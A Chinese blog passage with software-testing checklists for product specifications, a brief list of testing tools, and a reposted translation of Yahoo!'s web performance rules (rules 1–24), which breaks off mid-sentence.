      HTML代码检查------采用CSE HTML Validator进行测试

      Javascrīpt、Css也可以在网上下载相应的测试工具。

      八、 文档测试

      l、产品说明书属性检查清单

      1)完整.是否有遗漏和丢失,完全吗? 单独使用是否包含全部内容

      2)准确.既定解决方案正确吗? 目标明确吗? 有没有错误?

      3)精确、不含糊、清晰.描述是否一清二楚? 还是自说自话?容易看懂和理解吗?

      4)一致.产品功能能描述是否自相矛盾,与其他功能有没有冲突

      5)贴切.描述功能的陈述是否必要?有没有多余信息? 功能是否原来的客户要求?

      6)合理.在特定的预算和进度下,以现有人力,物力和资源能否实现?

      7)代码无关.是否坚持定义产品,而不是定义其所信赖的软件设计,架构和代码

      8)可测试性.特性能否测试? 测试员建立验证操作的测试程序是否提供足够的信息?

      2、 产品说明书用语检查清单

      1)说明。 对问题的描述通常表现为粉饰没有仔细考虑的功能----可归结于前文所述的属性.从产品说明书上找出这样的用语,仔细审视它们在文中是怎样使用的.产品说明书可能会为其掩饰和开脱,也可能含糊其词----无论是哪一种情况都可视为软件缺陷.

      2)总是,每一种,所有,没有,从不.如果看到此类绝对或肯定的,切实认定的叙述,软件测试员就可以着手设计针锋相对的案例.

      3)当然,因此,明显,显然,必然.这些话意图诱使接受假定情况.不要中了圈套.

      4)某些,有时,常常,通常,惯常,经常,大多,几乎.这些话太过模糊."有时"发生作用的功能无法测试.

      5)等等,诸如此类,依此类推.以这样的词结束的功能清单无法测试.功能清单要绝对或者解释明确,以免让人迷惑,不知如何推论.

      6)良好,迅速,廉价,高效,小,稳定.这些是不确定的说法,不可测试.如果在产品说明书中出现,就必须进一步指明含义.

      7)已处理,已拒绝,已忽略,已消除.这些廉洁可能会隐藏大量需要说明的功能.

      8)如果...那么...(没有否则).找出有"如果...那么..."而缺少配套的"否则"结构的陈述.想一想"如果"没有发生会怎样.

      相关的测试工具

      OpenSTA

      主要做性能测试的负荷及压力测试,使用比较方便,可以编写测试脚本,也可以先行自动生成测试脚本,而后对于应用测试脚本进行测试。

      SAINT

      网站安全性测试,能够对于指定网站进行安全性测试,并可以提供安全问题的解决方案。

      CSE HTML Validator

      一个有用的对于HTML代码进行合法性检查的工具

      Ab(Apache Bench)

      Apache自带的对于性能测试方面的工具,功能不是很多,但是非常实用。

      Crash-me

      Mysql自带的测试数据库性能的工具,能够测试多种数据库的性能。

  • Yahoo!网站性能最佳体验的34条黄金守则

    2009-04-14 16:09:06

    Yahoo!网站性能最佳体验的34条黄金守则

    转载自:http://www.dudo.org/article.asp?id=214

    英文地址:http://developer.yahoo.com/performance/rules.html
    中文地址:http://www.dudo.org/article.asp?id=214
          Yahoo!的Exceptional Performance团队为改善Web性能带来最佳实践。他们为此进行了一系列的实验、开发了各种工具、写了大量的文章和博客并在各种会议上参与探讨。最佳实践的核心就是旨在提高网站性能。
    Excetional Performance团队总结出了一系列可以提高网站速度的方法。可以分为7大类34条。包括内容、服务器、cookie、CSS、JavaScript、图片、移动应用等七部分。

    其中内容部分一共十条建议:

    一、内容部分

    1. 尽量减少HTTP请求
    2. 减少DNS查找
    3. 避免跳转
    4. 缓存Ajxa
    5. 推迟加载
    6. 提前加载
    7. 减少DOM元素数量
    8. 用域名划分页面内容
    9. 使frame数量最少
    10. 避免404错误


    1、尽量减少HTTP请求次数
          终端用户响应的时间中,有80%用于下载各项内容。这部分时间包括下载页面中的图像、样式表、脚本、Flash等。通过减少页面中的元素可以减少HTTP请求的次数。这是提高网页速度的关键步骤。
          减少页面组件的方法其实就是简化页面设计。那么有没有一种方法既能保持页面内容的丰富性又能达到加快响应时间的目的呢?这里有几条减少HTTP请求次数同时又可能保持页面内容丰富的技术。

    合并文件是通过把所有的脚本放到一个文件中来减少HTTP请求的方法,如可以简单地把所有的CSS文件都放入一个样式表中。当脚本或者样式表在不同页面中使用时需要做不同的修改,这可能会相对麻烦点,但即便如此也要把这个方法作为改善页面性能的重要一步。

    CSS Sprites是减少图像请求的有效方法。把所有的背景图像都放到一个图片文件中,然后通过CSS的background-imagebackground-position属性来显示图片的不同部分;

    图片地图是把多张图片整合到一张图片中。虽然文件的总体大小不会改变,但是可以减少HTTP请求次数。图片地图只有在图片的所有组成部分在页面中是紧挨在一起的时候才能使用,如导航栏。确定图片的坐标和可能会比较繁琐且容易出错,同时使用图片地图导航也不具有可读性,因此不推荐这种方法;

    内联图像是使用data:URL scheme的方法把图像数据加载页面中。这可能会增加页面的大小。把内联图像放到样式表(可缓存)中可以减少HTTP请求同时又避免增加页面文件的大小。但是内联图像现在还没有得到主流浏览器的支持。

         减少页面的HTTP请求次数是你首先要做的一步。这是改进首次访问用户等待时间的最重要的方法。如同Tenni Theurer的他的博客Browser Cahe Usage - Exposed!中所说,HTTP请求在无缓存情况下占去了40%到60%的响应时间。让那些初次访问你网站的人获得更加快速的体验吧!

    2、减少DNS查找次数

            域名系统(DNS)提供了域名和IP的对应关系,就像电话本中人名和他们的电话号码的关系一样。当你在浏览器地址栏中输入http://www.dudo.org/时,DNS解析服务器就会返回这个域名对应的IP地址。DNS解析的过程同样也是需要时间的。一般情况下返回给定域名对应的IP地址会花费20到120毫秒的时间。而且在这个过程中浏览器什么都不会做直到DNS查找完毕。

           缓存DNS查找可以改善页面性能。这种缓存需要一个特定的缓存服务器,这种服务器一般属于用户的ISP提供商或者本地局域网控制,但是它同样会在用户使用的计算机上产生缓存。DNS信息会保留在操作系统的DNS缓存中(微软Windows系统中DNS Client Service)。大多数浏览器有独立于操作系统以外的自己的缓存。由于浏览器有自己的缓存记录,因此在一次请求中它不会受到操作系统的影响。

          Internet Explorer默认情况下对DNS查找记录的缓存时间为30分钟,它在注册表中的键值为DnsCacheTimeout。Firefox对DNS的查找记录缓存时间为1分钟,它在配置文件中的选项为network.dnsCacheExpiration(Fasterfox把这个选项改为了1小时)。

          当客户端中的DNS缓存都为空时(浏览器和操作系统都为空),DNS查找的次数和页面中主机名的数量相同。这其中包括页面中URL、图片、脚本文件、样式表、Flash对象等包含的主机名。减少主机名的数量可以减少DNS查找次数。

          减少主机名的数量还可以减少页面中并行下载的数量。减少DNS查找次数可以节省响应时间,但是减少并行下载却会增加响应时间。我的指导原则是把这些页面中的内容分割成至少两部分但不超过四部分。这种结果就是在减少DNS查找次数和保持较高程度并行下载两者之间的权衡了。

    3、避免跳转
    跳转是使用301和302代码实现的。下面是一个响应代码为301的HTTP头:
          HTTP/1.1 301 Moved Permanently
          Location: http://example.com/newuri
          Content-Type: text/html
          浏览器会把用户指向到Location中指定的URL。头文件中的所有信息在一次跳转中都是必需的,内容部分可以为空。不管他们的名称,301和302响应都不会被缓存除非增加一个额外的头选项,如Expires或者Cache-Control来指定它缓存。<meat />元素的刷新标签和JavaScript也可以实现URL的跳转,但是如果你必须要跳转的时候,最好的方法就是使用标准的3XXHTTP状态代码,这主要是为了确保“后退”按钮可以正确地使用。

          但是要记住跳转会降低用户体验。在用户和HTML文档中间增加一个跳转,会拖延页面中所有元素的显示,因为在HTML文件被加载前任何文件(图像、Flash等)都不会被下载。

          有一种经常被网页开发者忽略却往往十分浪费响应时间的跳转现象。这种现象发生在当URL本该有斜杠(/)却被忽略掉时。例如,当我们要访问http://astrology.yahoo.com/astrology 时,实际上返回的是一个包含301代码的跳转,它指向的是http://astrology.yahoo.com/astrology/  (注意末尾的斜杠)。在Apache服务器中可以使用Alias 或者 mod_rewrite或者the DirectorySlash来避免。

          连接新网站和旧网站是跳转功能经常被用到的另一种情况。这种情况下往往要连接网站的不同内容然后根据用户的不同类型(如浏览器类型、用户账号所属类型)来进行跳转。使用跳转来实现两个网站的切换十分简单,需要的代码量也不多。尽管使用这种方法对于开发者来说可以降低复杂程度,但是它同样降低用户体验。一个可替代方法就是如果两者在同一台服务器上时使用Alias和mod_rewrite和实现。如果是因为域名的不同而采用跳转,那么可以通过使用Alias或者mod_rewirte建立CNAME(保存一个域名和另外一个域名之间关系的DNS记录)来替代。

    4、可缓存的AJAX
          Ajax经常被提及的一个好处就是由于其从后台服务器传输信息的异步性而为用户带来的反馈的即时性。但是,使用Ajax并不能保证用户不会在等待异步的JavaScript和XML响应上花费时间。在很多应用中,用户是否需要等待响应取决于Ajax如何来使用。例如,在一个基于Web的Email客户端中,用户必须等待Ajax返回符合他们条件的邮件查询结果。记住一点,“异步”并不异味着“即时”,这很重要。

          为了提高性能,优化Ajax响应是很重要的。提高Ajxa性能的措施中最重要的方法就是使响应具有可缓存性,具体的讨论可以查看Add an Expires or a Cache-Control Header。其它的几条规则也同样适用于Ajax:
        Gizp压缩文件
        减少DNS查找次数
        精简JavaScript
        避免跳转
        配置ETags

         让我们来看一个例子:一个Web2.0的Email客户端会使用Ajax来自动完成对用户地址薄的下载。如果用户在上次使用过Email web应用程序后没有对地址薄作任何的修改,而且Ajax响应通过Expire或者Cacke-Control头来实现缓存,那么就可以直接从上一次的缓存中读取地址薄了。必须告知浏览器是使用缓存中的地址薄还是发送一个新的请求。这可以通过为读取地址薄的Ajax URL增加一个含有上次编辑时间的时间戳来实现,例如,&t=11900241612等。如果地址薄在上次下载后没有被编辑过,时间戳就不变,则从浏览器的缓存中加载从而减少了一次HTTP请求过程。如果用户修改过地址薄,时间戳就会用来确定新的URL和缓存响应并不匹配,浏览器就会重要请求更新地址薄。
            即使你的Ajxa响应是动态生成的,哪怕它只适用于一个用户,那么它也应该被缓存起来。这样做可以使你的Web2.0应用程序更加快捷。

    5、推迟加载内容
            你可以仔细看一下你的网页,问问自己“哪些内容是页面呈现时所必需首先加载的?哪些内容和结构可以稍后再加载?
            把整个过程按照onload事件分隔成两部分,JavaScript是一个理想的选择。例如,如果你有用于实现拖放和动画的JavaScript,那么它就以等待稍后加载,因为页面上的拖放元素是在初始化呈现之后才发生的。其它的例如隐藏部分的内容(用户操作之后才显现的内容)和处于折叠部分的图像也可以推迟加载
            工具可以节省你的工作量:YUI Image Loader可以帮你推迟加载折叠部分的图片,YUI Get utility是包含JS和 CSS的便捷方法。比如你可以打开Firebug的Net选项卡看一下Yahoo的首页。
            当性能目标和其它网站开发实践一致时就会相得益彰。这种情况下,通过程序提高网站性能的方法告诉我们,在支持JavaScript的情况下,可以先去除用户体验,不过这要保证你的网站在没有JavaScript也可以正常运行。在确定页面运行正常后,再加载脚本来实现如拖放和动画等更加花哨的效果。

    6、预加载
            预加载和后加载看起来似乎恰恰相反,但实际上预加载是为了实现另外一种目标。预加载是在浏览器空闲时请求将来可能会用到的页面内容(如图像、样式表和脚本)。使用这种方法,当用户要访问下一个页面时,页面中的内容大部分已经加载到缓存中了,因此可以大大改善访问速度。

    下面提供了几种预加载方法:
    无条件加载:触发onload事件时,直接加载额外的页面内容。以Google.com为例,你可以看一下它的spirit image图像是怎样在onload中加载的。这个spirit image图像在google.com主页中是不需要的,但是却可以在搜索结果页面中用到它。
    有条件加载:根据用户的操作来有根据地判断用户下面可能去往的页面并相应的预加载页面内容。在search.yahoo.com中你可以看到如何在你输入内容时加载额外的页面内容。
    有预期的加载:载入重新设计过的页面时使用预加载。这种情况经常出现在页面经过重新设计后用户抱怨“新的页面看起来很酷,但是却比以前慢”。问题可能出在用户对于你的旧站点建立了完整的缓存,而对于新站点却没有任何缓存内容。因此你可以在访问新站之前就加载一部内容来避免这种结果的出现。在你的旧站中利用浏览器的空余时间加载新站中用到的图像的和脚本来提高访问速度。

    7、减少DOM元素数量
            一个复杂的页面意味着需要下载更多数据,同时也意味着JavaScript遍历DOM的效率越慢。比如当你增加一个事件句柄时在500和5000个DOM元素中循环效果肯定是不一样的。
           大量的DOM元素的存在意味着页面中有可以不用移除内容只需要替换元素标签就可以精简的部分。你在页面布局中使用表格了吗?你有没有仅仅为了布局而引入更多的<div>元素呢?也许会存在一个适合或者在语意是更贴切的标签可以供你使用。
            YUI CSS utilities可以给你的布局带来巨大帮助:grids.css可以帮你实现整体布局,font.css和reset.css可以帮助你移除浏览器默认格式。它提供了一个重新审视你页面中标签的机会,比如只有在语意上有意义时才使用<div>,而不是因为它具有换行效果才使用它。
          DOM元素数量很容易计算出来,只需要在Firebug的控制台内输入:
    document.getElementsByTagName('*').length
            那么多少个DOM元素算是多呢?这可以对照有很好标记使用的类似页面。比如Yahoo!主页是一个内容非常多的页面,但是它只使用了700个元素(HTML标签)。

    8、根据域名划分页面内容
          把页面内容划分成若干部分可以使你最大限度地实现平行下载。由于DNS查找带来的影响你首先要确保你使用的域名数量在2个到4个之间。例如,你可以把用到的HTML内容和动态内容放在www.example.org上,而把页面各种组件(图片、脚本、CSS)分别存放在statics1.example.org和statics.example.org上。
    你可在Tenni Theurer和Patty Chi合写的文章Maximizing Parallel Downloads in the Carpool Lane找到更多相关信息。

    9、使iframe的数量最小
          ifrmae元素可以在父文档中插入一个新的HTML文档。了解iframe的工作理然后才能更加有效地使用它,这一点很重要。
    <iframe>优点:

    • 解决加载缓慢的第三方内容如图标和广告等的加载问题
    • Security sandbox
    • 并行加载脚本

    <iframe>的缺点:

    • 即时内容为空,加载也需要时间
    • 会阻止页面加载
    • 没有语意


    10、不要出现404错误
          HTTP请求时间消耗是很大的,因此使用HTTP请求来获得一个没有用处的响应(例如404没有找到页面)是完全没有必要的,它只会降低用户体验而不会有一点好处。
          有些站点把404错误响应页面改为“你是不是要找***”,这虽然改进了用户体验但是同样也会浪费服务器资源(如数据库等)。最糟糕的情况是指向外部JavaScript的链接出现问题并返回404代码。首先,这种加载会破坏并行加载;其次浏览器会把试图在返回的404响应内容中找到可能有用的部分当作JavaScript代码来执行。

     

    转载自:http://www.dudo.org/article.asp?id=215

      在本系列的第一节中,讲了提高网站性能中网站“内容”有关的10条原则。除了在网站在内容上的改进外,在网站服务器端上也有需要注意和改进的地方,它们包括:

    1. 使用内容分发网络
    2. 为文件头指定Expires或Cache-Control
    3. Gzip压缩文件内容
    4. 配置ETag
    5. 尽早刷新输出缓冲
    6. 使用GET来完成AJAX请求


    11、使用内容分发网络

          用户与你网站服务器的接近程度会影响响应时间的长短。把你的网站内容分散到多个、处于不同地域位置的服务器上可以加快下载速度。但是首先我们应该做些什么呢?
          按地域布置网站内容的第一步并不是要尝试重新架构你的网站让他们在分发服务器上正常运行。根据应用的需求来改变网站结构,这可能会包括一些比较复杂的任务,如在服务器间同步Session状态和合并数据库更新等。要想缩短用户和内容服务器的距离,这些架构步骤可能是不可避免的。
          要记住,在终端用户的响应时间中有80%到90%的响应时间用于下载图像、样式表、脚本、Flash等页面内容。这就是网站性能黄金守则。和重新设计你的应用程序架构这样比较困难的任务相比,首先来分布静态内容会更好一点。这不仅会缩短响应时间,而且对于内容分发网络来说它更容易实现。
          内容分发网络(Content Delivery Network,CDN)是由一系列分散到各个不同地理位置上的Web服务器组成的,它提高了网站内容的传输速度。用于向用户传输内容的服务器主要是根据和用户在网络上的靠近程度来指定的。例如,拥有最少网络跳数(network hops)和响应速度最快的服务器会被选定。
          一些大型的网络公司拥有自己的CDN,但是使用像Akamai TechnologiesMirror Image Internet, 或者Limelight Networks这样的CDN服务成本却非常高。对于刚刚起步的企业和个人网站来说,可能没有使用CDN的成本预算,但是随着目标用户群的不断扩大和更加全球化,CDN就是实现快速响应所必需的了。以Yahoo来说,他们转移到CDN上的网站程序静态内容节省了终端用户20%以上的响应时间。使用CDN是一个只需要相对简单地修改代码实现显著改善网站访问速度的方法。

    12、为文件头指定Expires或Cache-Control
          这条守则包括两方面的内容:
    对于静态内容:设置文件头过期时间Expires的值为“Never expire”(永不过期)
    对于动态内容:使用恰当的Cache-Control文件头来帮助浏览器进行有条件的请求
          网页内容设计现在越来越丰富,这就意味着页面中要包含更多的脚本、样式表、图片和Flash。第一次访问你页面的用户就意味着进行多次的HTTP请求,但是通过使用Expires文件头就可以使这样内容具有缓存性。它避免了接下来的页面访问中不必要的HTTP请求。Expires文件头经常用于图像文件,但是应该在所有的内容都使用他,包括脚本、样式表和Flash等。
          浏览器(和代理)使用缓存来减少HTTP请求的大小和次数以加快页面访问速度。Web服务器在HTTP响应中使用Expires文件头来告诉客户端内容需要缓存多长时间。下面这个例子是一个较长时间的Expires文件头,它告诉浏览器这个响应直到2010年4月15日才过期。
          Expires: Thu, 15 Apr 2010 20:00:00 GMT
          如果你使用的是Apache服务器,可以使用ExpiresDefault来设定相对当前日期的过期时间。下面这个例子是使用ExpiresDefault来设定请求时间后10年过期的文件头:
          ExpiresDefault "access plus 10 years"
          要切记,如果使用了Expires文件头,当页面内容改变时就必须改变内容的文件名。依Yahoo!来说我们经常使用这样的步骤:在内容的文件名中加上版本号,如yahoo_2.0.6.js。
          使用Expires文件头只有会在用户已经访问过你的网站后才会起作用。当用户首次访问你的网站时这对减少HTTP请求次数来说是无效的,因为浏览器的缓存是空的。因此这种方法对于你网站性能的改进情况要依据他们“预缓存”存在时对你页面的点击频率(“预缓存”中已经包含了页面中的所有内容)。Yahoo!建立了一套测量方法,我们发现所有的页面浏览量中有75~85%都有“预缓存”。通过使用Expires文件头,增加了缓存在浏览器中内容的数量,并且可以在用户接下来的请求中再次使用这些内容,这甚至都不需要通过用户发送一个字节的请求。

    13、Gzip压缩文件内容
          网络传输中的HTTP请求和应答时间可以通过前端机制得到显著改善。的确,终端用户的带宽、互联网提供者、与对等交换点的靠近程度等都不是网站开发者所能决定的。但是还有其他因素影响着响应时间。通过减小HTTP响应的大小可以节省HTTP响应时间。
          从HTTP/1.1开始,web客户端都默认支持HTTP请求中有Accept-Encoding文件头的压缩格式:   
          Accept-Encoding: gzip, deflate
          如果web服务器在请求的文件头中检测到上面的代码,就会以客户端列出的方式压缩响应内容。Web服务器把压缩方式通过响应文件头中的Content-Encoding来返回给浏览器。
          Content-Encoding: gzip
          Gzip是目前最流行也是最有效的压缩方式。这是由GNU项目开发并通过RFC 1952来标准化的。另外仅有的一个压缩格式是deflate,但是它的使用范围有限效果也稍稍逊色。
          Gzip大概可以减少70%的响应规模。目前大约有90%通过浏览器传输的互联网交换支持gzip格式。如果你使用的是Apache,gzip模块配置和你的版本有关:Apache 1.3使用mod_zip,而Apache 2.x使用moflate
          浏览器和代理都会存在这样的问题:浏览器期望收到的和实际接收到的内容会存在不匹配的现象。幸好,这种特殊情况随着旧式浏览器使用量的减少在减少。Apache模块会通过自动添加适当的Vary响应文件头来避免这种状况的出现。
          服务器根据文件类型来选择需要进行gzip压缩的文件,但是这过于限制了可压缩的文件。大多数web服务器会压缩HTML文档。对脚本和样式表进行压缩同样也是值得做的事情,但是很多web服务器都没有这个功能。实际上,压缩任何一个文本类型的响应,包括XML和JSON,都值得的。图像和PDF文件由于已经压缩过了所以不能再进行gzip压缩。如果试图gizp压缩这些文件的话不但会浪费CPU资源还会增加文件的大小。
          Gzip压缩所有可能的文件类型是减少文件体积增加用户体验的简单方法。

    14、配置ETag
          Entity tags(ETags)(实体标签)是web服务器和浏览器用于判断浏览器缓存中的内容和服务器中的原始内容是否匹配的一种机制(“实体”就是所说的“内容”,包括图片、脚本、样式表等)。增加ETag为实体的验证提供了一个比使用“last-modified date(上次编辑时间)”更加灵活的机制。Etag是一个识别内容版本号的唯一字符串。唯一的格式限制就是它必须包含在双引号内。原始服务器通过含有ETag文件头的响应指定页面内容的ETag。
          HTTP/1.1 200 OK
          Last-Modified: Tue, 12 Dec 2006 03:03:59 GMT
          ETag: "10c24bc-4ab-457e1c1f"
          Content-Length: 12195
          稍后,如果浏览器要验证一个文件,它会使用If-None-Match文件头来把ETag传回给原始服务器。在这个例子中,如果ETag匹配,就会返回一个304状态码,这就节省了12195字节的响应。      GET /i/yahoo.gif HTTP/1.1
          Host: us.yimg.com
          If-Modified-Since: Tue, 12 Dec 2006 03:03:59 GMT
          If-None-Match: "10c24bc-4ab-457e1c1f"
          HTTP/1.1 304 Not Modified
          ETag的问题在于,它是根据可以辨别网站所在的服务器的具有唯一性的属性来生成的。当浏览器从一台服务器上获得页面内容后到另外一台服务器上进行验证时ETag就会不匹配,这种情况对于使用服务器组和处理请求的网站来说是非常常见的。默认情况下,Apache和IIS都会把数据嵌入ETag中,这会显著减少多服务器间的文件验证冲突。
          Apache 1.3和2.x中的ETag格式为inode-size-timestamp。即使某个文件在不同的服务器上会处于相同的目录下,文件大小、权限、时间戳等都完全相同,但是在不同服务器上他们的内码也是不同的。
          IIS 5.0和IIS 6.0处理ETag的机制相似。IIS中的ETag格式为Filetimestamp:ChangeNumber。用ChangeNumber来跟踪IIS配置的改变。网站所用的不同IIS服务器间ChangeNumber也不相同。 不同的服务器上的Apache和IIS即使对于完全相同的内容产生的ETag在也不相同,用户并不会接收到一个小而快的304响应;相反他们会接收一个正常的200响应并下载全部内容。如果你的网站只放在一台服务器上,就不会存在这个问题。但是如果你的网站是架设在多个服务器上,并且使用Apache和IIS产生默认的ETag配置,你的用户获得页面就会相对慢一点,服务器会传输更多的内容,占用更多的带宽,代理也不会有效地缓存你的网站内容。即使你的内容拥有Expires文件头,无论用户什么时候点击“刷新”或者“重载”按钮都会发送相应的GET请求。
          如果你没有使用ETag提供的灵活的验证模式,那么干脆把所有的ETag都去掉会更好。Last-Modified文件头验证是基于内容的时间戳的。去掉ETag文件头会减少响应和下次请求中文件的大小。微软的这篇支持文稿讲述了如何去掉ETag。在Apache中,只需要在配置文件中简单添加下面一行代码就可以了:
          FileETag none

    15、尽早刷新输出缓冲
          当用户请求一个页面时,无论如何都会花费200到500毫秒用于后台组织HTML文件。在这期间,浏览器会一直空闲等待数据返回。在PHP中,你可以使用flush()方法,它允许你把已经编译的好的部分HTML响应文件先发送给浏览器,这时浏览器就会可以下载文件中的内容(脚本等)而后台同时处理剩余的HTML页面。这样做的效果会在后台烦恼或者前台较空闲时更加明显。
          输出缓冲应用最好的一个地方就是紧跟在<head />之后,因为HTML的头部分容易生成而且头部往往包含CSS和JavaScript文件,这样浏览器就可以在后台编译剩余HTML的同时并行下载它们。 例子:

          ... <!-- css, js -->
        </head>
        <?php flush(); ?>
        <body>
          ... <!-- content -->

    为了证明使用这项技术的好处,Yahoo!搜索率先研究并完成了用户测试。

    16、使用GET来完成AJAX请求
          Yahoo!Mail团队发现,当使用XMLHttpRequest时,浏览器中的POST方法是一个“两步走”的过程:首先发送文件头,然后才发送数据。因此使用GET最为恰当,因为它只需发送一个TCP包(除非你有很多cookie)。IE中URL的最大长度为2K,因此如果你要发送一个超过2K的数据时就不能使用GET了。
          一个有趣的不同就是POST并不像GET那样实际发送数据。根据HTTP规范,GET意味着“获取”数据,因此当你仅仅获取数据时使用GET更加有意义(从语意上讲也是如此),相反,发送并在服务端保存数据时使用POST。

     

    转载自:http://www.dudo.org/article.asp?id=216

     在第一部分和第二部分中我们分别介绍了改善网站性能中页面内容服务器的几条守则,除此之外,JavaScript和CSS也是我们页面中经常用到的内容,对它们的优化也提高网站性能的重要方面:
    CSS:

    1. 把样式表置于顶部
    2. 避免使用CSS表达式(Expression)
    3. 使用外部JavaScript和CSS
    4. 削减JavaScript和CSS
    5. http://www.dudo.org/article.asp?id=216#link
    6. 避免使用滤镜

    JavaScript

    1. 把脚本置于页面底部
    2. 使用外部JavaScript和CSS
    3. 削减JavaScript和CSS
    4. 剔除重复脚本
    5. 减少DOM访问
    6. 开发智能事件处理程序


    17、把样式表置于顶部
          在研究Yahoo!的性能表现时,我们发现把样式表放到文档的<head />内部似乎会加快页面的下载速度。这是因为把样式表放到<head />内会使页面有步骤的加载显示。
          注重性能的前端服务器往往希望页面有秩序地加载。同时,我们也希望浏览器把已经接收到内容尽可能显示出来。这对于拥有较多内容的页面和网速较慢的用户来说特别重要。向用户返回可视化的反馈,比如进程指针,已经有了较好的研究并形成了正式文档。在我们的研究中HTML页面就是进程指针。当浏览器有序地加载文件头、导航栏、顶部的logo等对于等待页面加载的用户来说都可以作为可视化的反馈。这从整体上改善了用户体验。
          把样式表放在文档底部的问题是在包括Internet Explorer在内的很多浏览器中这会中止内容的有序呈现。浏览器中止呈现是为了避免样式改变引起的页面元素重绘。用户不得不面对一个空白页面。
          HTML规范清楚指出样式表要放包含在页面的<head />区域内:“和<a />不同,<link />只能出现在文档的<head />区域内,尽管它可以多次使用它”。无论是引起白屏还是出现没有样式化的内容都不值得去尝试。最好的方案就是按照HTML规范在文档<head />内加载你的样式表。

    18、避免使用CSS表达式(Expression)
          CSS表达式是动态设置CSS属性的强大(但危险)方法。Internet Explorer从第5个版本开始支持CSS表达式。下面的例子中,使用CSS表达式可以实现隔一个小时切换一次背景颜色:
          background-color: expression( (new Date()).getHours()%2 ? "#B8D4FF" : "#F08A00" );
    如上所示,expression中使用了JavaScript表达式。CSS属性根据JavaScript表达式的计算结果来设置。expression方法在其它浏览器中不起作用,因此在跨浏览器的设计中单独针对Internet Explorer设置时会比较有用。
          表达式的问题就在于它的计算频率要比我们想象的多。不仅仅是在页面显示和缩放时,就是在页面滚动、乃至移动鼠标时都会要重新计算一次。给CSS表达式增加一个计数器可以跟踪表达式的计算频率。在页面中随便移动鼠标都可以轻松达到10000次以上的计算量。
          一个减少CSS表达式计算次数的方法就是使用一次性的表达式,它在第一次运行时将结果赋给指定的样式属性,并用这个属性来代替CSS表达式。如果样式属性必须在页面周期内动态地改变,使用事件句柄来代替CSS表达式是一个可行办法。如果必须使用CSS表达式,一定要记住它们要计算成千上万次并且可能会对你页面的性能产生影响。

    19、使用外部JavaScript和CSS
          很多性能规则都是关于如何处理外部文件的。但是,在你采取这些措施前你可能会问到一个更基本的问题:JavaScript和CSS是应该放在外部文件中呢还是把它们放在页面本身之内呢?
          在实际应用中使用外部文件可以提高页面速度,因为JavaScript和CSS文件都能在浏览器中产生缓存。内置在HTML文档中的JavaScript和CSS则会在每次请求中随HTML文档重新下载。这虽然减少了HTTP请求的次数,却增加了HTML文档的大小。从另一方面来说,如果外部文件中的JavaScript和CSS被浏览器缓存,在没有增加HTTP请求次数的同时可以减少HTML文档的大小。
          关键问题是,外部JavaScript和CSS文件缓存的频率和请求HTML文档的次数有关。虽然有一定的难度,但是仍然有一些指标可以一测量它。如果一个会话中用户会浏览你网站中的多个页面,并且这些页面中会重复使用相同的脚本和样式表,缓存外部文件就会带来更大的益处。
          许多网站没有功能建立这些指标。对于这些网站来说,最好的坚决方法就是把JavaScript和CSS作为外部文件引用。比较适合使用内置代码的例外就是网站的主页,如Yahoo!主页My Yahoo!。主页在一次会话中拥有较少(可能只有一次)的浏览量,你可以发现内置JavaScript和CSS对于终端用户来说会加快响应时 间。
          对于拥有较大浏览量的首页来说,有一种技术可以平衡内置代码带来的HTTP请求减少与通过使用外部文件进行缓存带来的好处。其中一个就是在首页中内置JavaScript和CSS,但是在页面下载完成后动态下载外部文件,在子页面中使用到这些文件时,它们已经缓存到浏览器了。

    20、削减JavaScript和CSS
          精简是指从去除代码不必要的字符减少文件大小从而节省下载时间。消减代码时,所有的注释、不需要的空白字符(空格、换行、tab缩进)等都要去掉。在JavaScript中,由于需要下载的文件体积变小了从而节省了响应时间。精简JavaScript中目前用到的最广泛的两个工具是JSMinYUI Compressor。YUI Compressor还可用于精简CSS。
          混淆是另外一种可用于源代码优化的方法。这种方法要比精简复杂一些并且在混淆的过程更易产生问题。在对美国前10大网站的调查中发现,精简也可以缩小原来代码体积的21%,而混淆可以达到25%。尽管混淆法可以更好地缩减代码,但是对于JavaScript来说精简的风险更小。
          除消减外部的脚本和样式表文件外,<script>和<style>代码块也可以并且应该进行消减。即使你用Gzip压缩过脚本和样式表,精简这些文件仍然可以节省5%以上的空间。由于JavaScript和CSS的功能和体积的增加,消减代码将会获得益处。

    21、用<link>代替@import
          前面的最佳实现中提到CSS应该放置在顶端以利于有序加载呈现。
          在IE中,页面底部@import和使用<link>作用是一样的,因此最好不要使用它。

    22、避免使用滤镜
          IE独有属性AlphaImageLoader用于修正7.0以下版本中显示PNG图片的半透明效果。这个滤镜的问题在于浏览器加载图片时它会终止内容的呈现并且冻结浏览器。在每一个元素(不仅仅是图片)它都会运算一次,增加了内存开支,因此它的问题是多方面的。
          完全避免使用AlphaImageLoader的最好方法就是使用PNG8格式来代替,这种格式能在IE中很好地工作。如果你确实需要使用AlphaImageLoader,请使用下划线_filter又使之对IE7以上版本的用户无效。

    23、把脚本置于页面底部
          脚本带来的问题就是它阻止了页面的平行下载。HTTP/1.1 规范建议,浏览器每个主机名的并行下载内容不超过两个。如果你的图片放在多个主机名上,你可以在每个并行下载中同时下载2个以上的文件。但是当下载脚本时,浏览器就不会同时下载其它文件了,即便是主机名不相同。
          在某些情况下把脚本移到页面底部可能不太容易。比如说,如果脚本中使用了document.write来插入页面内容,它就不能被往下移动了。这里可能还会有作用域的问题。很多情况下,都会遇到这方面的问题。
          一个经常用到的替代方法就是使用延迟脚本。DEFER属性表明脚本中没有包含document.write,它告诉浏览器继续显示。不幸的是,Firefox并不支持DEFER属性。在Internet Explorer中,脚本可能会被延迟但效果也不会像我们所期望的那样。如果脚本可以被延迟,那么它就可以移到页面的底部。这会让你的页面加载的快一点。

    24、剔除重复脚本
          在同一个页面中重复引用JavaScript文件会影响页面的性能。你可能会认为这种情况并不多见。对于美国前10大网站的调查显示其中有两家存在重复引用脚本的情况。有两种主要因素导致一个脚本被重复引用的奇怪现象发生:团队规模和脚本数量。如果真的存在这种情况,重复脚本会引起不必要的HTTP请求和无用的JavaScript运算,这降低了网站性能。
          在Internet Explorer中会产生不必要的HTTP请求,而在Firefox却不会。在Internet Explorer中,如果一个脚本被引用两次而且它又不可缓存,它就会在页面加载过程中产生两次HTTP请求。即时脚本可以缓存,当用户重载页面时也会产生额外的HTTP请求。
          除增加额外的HTTP请求外,多次运算脚本也会浪费时间。在Internet Explorer和Firefox中不管脚本是否可缓存,它们都存在重复运算JavaScript的问题。
          一个避免偶尔发生的两次引用同一脚本的方法是在模板中使用脚本管理模块引用脚本。在HTML页面中使用<script. />标签引用脚本的最常见方法就是:
